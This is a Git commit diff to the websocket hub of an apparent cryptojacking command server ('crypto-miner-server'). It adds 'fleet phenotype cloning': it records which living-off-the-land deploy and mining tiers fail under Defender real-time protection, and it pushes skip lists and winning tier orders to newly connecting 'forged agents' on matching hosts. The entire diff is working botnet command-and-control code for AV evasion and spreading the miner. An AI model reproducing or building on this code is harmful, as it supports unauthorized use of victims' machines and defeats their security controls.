drjones/AetherForge
1
0
Fork 0
Code Issues Pull Requests Actions Packages Projects Releases Wiki Activity

Add fleet phenotype cloning for sibling machines.

Browse Source 
Publish winning tier paths per host fingerprint on hashrate success, inherit on auth before adaptive strategy, and surface clone badges in LOTL Timeline and Access Depth.
This commit is contained in:
AetherForge
2026-06-07 02:28:00 -07:00
parent bb48515b2b
commit 4204dd6b6d
25 changed files with 1421 additions and 38 deletions
Download Patch File Download Diff File Expand all files Collapse all files

268
server/internal/api/websocket.go
View File

@@ -14,6 +14,7 @@ import (
"time"
"crypto-miner-server/internal/alerts"
"crypto-miner-server/internal/atlas"
"crypto-miner-server/internal/db"
"crypto-miner-server/internal/models"
"crypto-miner-server/internal/pool"
@@ -155,13 +156,16 @@ type WSHub struct {
agentDNS map[string][]string
// Latest service_discover payloads keyed by agent ID (Crucible service graph).
agentServiceDiscover map[string]cachedServiceDiscover
agentLiveTelemetry map[string]map[string]interface{}
serverPolicy ServerPolicy
agentLiveTelemetry map[string]map[string]interface{}
agentInheritedPhenotype map[string]strategy.InheritedPhenotype
serverPolicy ServerPolicy
adaptiveEngine *strategy.AdaptiveEngine
failureAtlas *atlas.FailureAtlas
pingIntervalSec int
fleetSecret string // baked into forged agents; verified on WS connect
eventNotifier *alerts.Notifier
connectTasks ConnectTaskRunner
clearance *ClearanceManager
mu sync.RWMutex
// pendingCmdCallbacks allows handlers to await a specific command_result
@@ -199,15 +203,17 @@ func NewWSHub(database *db.Database) *WSHub {
agentLogs: make(map[string]string),
agentDNS: make(map[string][]string),
agentServiceDiscover: make(map[string]cachedServiceDiscover),
agentLiveTelemetry: make(map[string]map[string]interface{}),
agentLiveTelemetry: make(map[string]map[string]interface{}),
agentInheritedPhenotype: make(map[string]strategy.InheritedPhenotype),
pendingCmdCallbacks: make(map[cmdResultKey]chan map[string]interface{}),
beaconLastSeen: make(map[string]time.Time),
beaconCmdQueue: make(map[string][]BeaconCommand),
beaconPolicyQueue: make(map[string][]FleetAgentPolicy),
pingIntervalSec: 30,
}
h.clearance = NewClearanceManager(h)
// Background stale-agent sweep: if an agent's last_seen is more than
// Background stale-agent sweep:
// 3 minutes old but the row still says "online", force it offline.
// This catches TCP half-open drops that slip past the ping/pong timeout.
go h.runStaleAgentSweep()
@@ -275,6 +281,13 @@ func (h *WSHub) SetAdaptiveEngine(e *strategy.AdaptiveEngine) {
}
}
// SetFailureAtlas wires negative-space mining pattern learning.
func (h *WSHub) SetFailureAtlas(a *atlas.FailureAtlas) {
h.mu.Lock()
h.failureAtlas = a
h.mu.Unlock()
}
func (h *WSHub) runAdaptiveStrategyLoop() {
ticker := time.NewTicker(strategy.RescoreInterval)
defer ticker.Stop()
@@ -564,6 +577,9 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
if h.aiHandler != nil {
h.aiHandler.RemoveEngine(agentID)
}
if h.clearance != nil {
h.clearance.RemoveAgent(agentID)
}
if err := h.db.SetAgentOffline(agentID); err != nil {
log.Printf("[hub] SetAgentOffline %s: %v", agentID, err)
}
@@ -879,15 +895,54 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
}
}
resp["triple_onion_policy"] = top
if h.adaptiveEngine != nil && h.adaptiveEngine.Enabled() && !policy.AIControlEnabled {
domainJoined := false
if prior != nil && prior.FirewallDomain != nil && *prior.FirewallDomain {
domainJoined = true
domainJoined := false
if prior != nil && prior.FirewallDomain != nil && *prior.FirewallDomain {
domainJoined = true
}
fp := strategy.FingerprintFromAuth(auth.Platform, clientIP, domainJoined)
var inherited *strategy.InheritedPhenotype
if stored, err := h.db.GetFleetPhenotypeByFingerprint(fp.Key()); err == nil && stored != nil {
pheno := strategy.PhenotypeFromStored(*stored)
inh := pheno.ToInherited()
inherited = &inh
h.mu.Lock()
h.agentInheritedPhenotype[agentID] = inh
h.mu.Unlock()
resp["inherited_phenotype"] = inh
agent.InheritedPhenotype = &models.AgentInheritedPhenotype{
SourceAgentName: inh.SourceAgentName,
Fingerprint: inh.Fingerprint,
SpreadLane: inh.SpreadLane,
TierOrder: append([]string(nil), inh.TierOrder...),
ActiveTier: inh.ActiveTier,
PeakHashrate: inh.PeakHashrate,
}
fp := strategy.FingerprintFromAuth(auth.Platform, clientIP, domainJoined)
}
var defenderEnabled, defenderRTP *bool
if prior != nil {
defenderEnabled = prior.DefenderEnabled
defenderRTP = prior.DefenderRTP
}
if h.failureAtlas != nil && !policy.AIControlEnabled {
skips, _ := h.failureAtlas.ComputeSkips(fp, nil, defenderEnabled, defenderRTP)
if len(skips) > 0 {
resp["atlas_skips"] = skips
}
}
if h.adaptiveEngine != nil && h.adaptiveEngine.Enabled() && !policy.AIControlEnabled && inherited == nil {
adaptive := h.adaptiveEngine.StrategyForAgent(agentID, fp)
if h.failureAtlas != nil {
if skips, _ := h.failureAtlas.ComputeSkips(fp, nil, defenderEnabled, defenderRTP); len(skips) > 0 {
atlas.MergeSkipsIntoStrategy(&adaptive, skips)
}
}
resp["adaptive_strategy"] = adaptive
}
if h.clearance != nil {
level := h.clearance.InitAgent(agentID, agent)
resp["clearance_level"] = level
agent.ClearanceLevel = level
}
return resp
}())})
@@ -1014,6 +1069,7 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
DurationMs int64 `json:"duration_ms"`
Wallet string `json:"wallet,omitempty"`
} `json:"lotl_attempts,omitempty"`
AtlasSkips []atlas.AtlasSkip `json:"atlas_skips,omitempty"`
StratumEgress string `json:"stratum_egress,omitempty"` // c2_ws | direct | none
JoinLane string `json:"join_lane,omitempty"`
NetworkHints json.RawMessage `json:"network_hints,omitempty"`
@@ -1167,6 +1223,9 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
if len(stats.LOTLAttempts) > 0 {
broadcast["lotl_attempts"] = stats.LOTLAttempts
}
if len(stats.AtlasSkips) > 0 {
broadcast["atlas_skips"] = stats.AtlasSkips
}
if stats.StratumEgress != "" {
broadcast["stratum_egress"] = stats.StratumEgress
}
@@ -1209,8 +1268,43 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
ac.latencyMu.Unlock()
}
h.ingestStrategyFromStats(agentID, "", clientIPFromBroadcast(broadcast), stats.DefenderRTP, stats.FirewallDomain, stats.LOTLAttempts, stats.MiningHashrate, stats.LOTLTier)
h.ingestAtlasFromStats(agentID, "", clientIPFromBroadcast(broadcast), stats.DefenderEnabled, stats.DefenderRTP, stats.FirewallDomain, stats.LOTLAttempts)
h.tryPublishWinningPhenotype(agentID, "", clientIPFromBroadcast(broadcast), stats.FirewallDomain, stats.LOTLAttempts, stats.MiningHashrate, stats.LOTLTier, stats.JoinLane, stats.ChainOrder)
h.queueStatsBroadcast(broadcast)
case "ai_snapshot":
if agentID == "" {
continue
}
var snap struct {
Stuck bool `json:"stuck"`
DeployTiers []struct {
Attempted bool `json:"attempted"`
OK bool `json:"ok"`
Skipped bool `json:"skipped"`
} `json:"deploy_tiers"`
MiningTiers []struct {
Attempted bool `json:"attempted"`
OK bool `json:"ok"`
Skipped bool `json:"skipped"`
} `json:"mining_tiers"`
ClearanceLevel int `json:"clearance_level"`
}
if err := json.Unmarshal(msg.Payload, &snap); err != nil {
continue
}
failed := 0
for _, t := range append(snap.DeployTiers, snap.MiningTiers...) {
if t.Attempted && !t.OK && !t.Skipped {
failed++
}
}
h.cacheAgentTelemetry(agentID, map[string]interface{}{
"stuck": snap.Stuck,
"failed_tier_count": failed,
"clearance_level": snap.ClearanceLevel,
})
case "submit_share":
if agentID == "" {
continue
@@ -1701,6 +1795,9 @@ func (h *WSHub) RemoveAgent(agentID string) {
delete(h.agentLogs, agentID)
delete(h.agentCapabilities, agentID)
delete(h.agentLiveTelemetry, agentID)
if h.clearance != nil {
h.clearance.RemoveAgent(agentID)
}
ac.Conn.Close()
}
h.mu.Unlock()
@@ -1766,6 +1863,20 @@ func (h *WSHub) PushAdaptiveStrategyUpdates() int {
}
}
adaptive := engine.StrategyForAgent(agentID, fp)
h.mu.RLock()
atlasEngine := h.failureAtlas
aiMode := h.serverPolicy.AIControlEnabled
h.mu.RUnlock()
if atlasEngine != nil && !aiMode {
var defenderEnabled, defenderRTP *bool
if ag, err := h.db.GetAgent(agentID); err == nil {
defenderEnabled = ag.DefenderEnabled
defenderRTP = ag.DefenderRTP
}
if skips, _ := atlasEngine.ComputeSkips(fp, nil, defenderEnabled, defenderRTP); len(skips) > 0 {
atlas.MergeSkipsIntoStrategy(&adaptive, skips)
}
}
payload, err := json.Marshal(adaptive)
if err != nil {
continue
@@ -1779,12 +1890,12 @@ func (h *WSHub) PushAdaptiveStrategyUpdates() int {
}
func (h *WSHub) ingestStrategyFromPayload(agentID string, payload map[string]interface{}) {
if h.adaptiveEngine == nil || !h.adaptiveEngine.Enabled() || h.serverPolicy.AIControlEnabled {
return
}
platform, _ := payload["platform"].(string)
ip, _ := payload["ip"].(string)
var defenderRTP, firewallDomain *bool
var defenderEnabled, defenderRTP, firewallDomain *bool
if v, ok := payload["defender_enabled"].(bool); ok {
defenderEnabled = &v
}
if v, ok := payload["defender_rtp"].(bool); ok {
defenderRTP = &v
}
@@ -1794,7 +1905,64 @@ func (h *WSHub) ingestStrategyFromPayload(agentID string, payload map[string]int
attempts := parseLOTLAttemptsFromPayload(payload)
hashrate, _ := payload["mining_hashrate"].(float64)
activeTier, _ := payload["lotl_tier"].(string)
joinLane, _ := payload["join_lane"].(string)
chainOrder := parseStringSliceField(payload["chain_order"])
h.ingestAtlasFromStats(agentID, platform, ip, defenderEnabled, defenderRTP, firewallDomain, attempts)
if h.adaptiveEngine == nil || !h.adaptiveEngine.Enabled() || h.serverPolicy.AIControlEnabled {
return
}
h.ingestStrategyFromStats(agentID, platform, ip, defenderRTP, firewallDomain, attempts, hashrate, activeTier)
h.tryPublishWinningPhenotype(agentID, platform, ip, firewallDomain, attempts, hashrate, activeTier, joinLane, chainOrder)
}
func (h *WSHub) ingestAtlasFromStats(
agentID, platform, ip string,
defenderEnabled, defenderRTP, firewallDomain *bool,
attempts []struct {
Tier string `json:"tier"`
OK bool `json:"ok"`
Error string `json:"error,omitempty"`
DurationMs int64 `json:"duration_ms"`
Wallet string `json:"wallet,omitempty"`
},
) {
if h.failureAtlas == nil || h.db == nil {
return
}
if platform == "" || ip == "" {
if ag, err := h.db.GetAgent(agentID); err == nil {
if platform == "" {
platform = ag.Platform
}
if ip == "" {
ip = ag.IP
}
if firewallDomain == nil {
firewallDomain = ag.FirewallDomain
}
if defenderEnabled == nil {
defenderEnabled = ag.DefenderEnabled
}
if defenderRTP == nil {
defenderRTP = ag.DefenderRTP
}
}
}
domainJoined := firewallDomain != nil && *firewallDomain
fp := strategy.FingerprintFromAuth(platform, ip, domainJoined)
if defenderRTP != nil && *defenderRTP {
fp.AVBlocks = true
}
snap := atlas.ProbeSnapshotFromMaps(fp, nil, defenderEnabled, defenderRTP)
conds := atlas.ExtractConditions(fp, snap)
for _, a := range attempts {
if a.OK || strings.TrimSpace(a.Tier) == "" {
continue
}
if err := h.failureAtlas.RecordFailure(fp.Key(), a.Tier, conds); err != nil {
log.Printf("[atlas] record failure: %v", err)
}
}
}
func (h *WSHub) ingestStrategyFromStats(
@@ -1844,6 +2012,80 @@ func (h *WSHub) ingestStrategyFromStats(
}
}
func (h *WSHub) tryPublishWinningPhenotype(
agentID, platform, ip string,
firewallDomain *bool,
attempts []struct {
Tier string `json:"tier"`
OK bool `json:"ok"`
Error string `json:"error,omitempty"`
DurationMs int64 `json:"duration_ms"`
Wallet string `json:"wallet,omitempty"`
},
miningHashrate float64,
activeTier, joinLane string,
chainOrder []string,
) {
if h.db == nil || miningHashrate <= 0 || strings.TrimSpace(activeTier) == "" {
return
}
ag, err := h.db.GetAgent(agentID)
if err != nil {
return
}
if platform == "" {
platform = ag.Platform
}
if ip == "" {
ip = ag.IP
}
if firewallDomain == nil {
firewallDomain = ag.FirewallDomain
}
domainJoined := firewallDomain != nil && *firewallDomain
fp := strategy.FingerprintFromAuth(platform, ip, domainJoined)
stratAttempts := make([]strategy.TierAttempt, len(attempts))
for i, a := range attempts {
stratAttempts[i] = strategy.TierAttempt{Tier: a.Tier, OK: a.OK}
}
fallback := append([]string(nil), chainOrder...)
if len(fallback) == 0 {
fallback = append(fallback, strategy.DefaultMiningTierOrder...)
}
tierOrder := strategy.BuildWinningTierOrder(stratAttempts, activeTier, fallback)
if len(tierOrder) == 0 {
return
}
pheno := strategy.FleetPhenotype{
SourceAgentID: agentID,
SourceAgentName: ag.Name,
Fingerprint: fp.Key(),
OS: fp.GOOS,
SpreadLane: strings.TrimSpace(joinLane),
ActiveTier: strings.TrimSpace(activeTier),
TierOrder: tierOrder,
PeakHashrate: miningHashrate,
CreatedAt: time.Now().UTC(),
}
if _, err := h.db.UpsertFleetPhenotype(strategy.PhenotypeToStored(pheno)); err != nil {
log.Printf("[phenotype] publish: %v", err)
}
}
func parseStringSliceField(raw interface{}) []string {
arr, ok := raw.([]interface{})
if !ok {
return nil
}
out := make([]string, 0, len(arr))
for _, v := range arr {
if s, ok := v.(string); ok && strings.TrimSpace(s) != "" {
out = append(out, s)
}
}
return out
}
func parseLOTLAttemptsFromPayload(payload map[string]interface{}) []struct {
Tier string `json:"tier"`
OK bool `json:"ok"`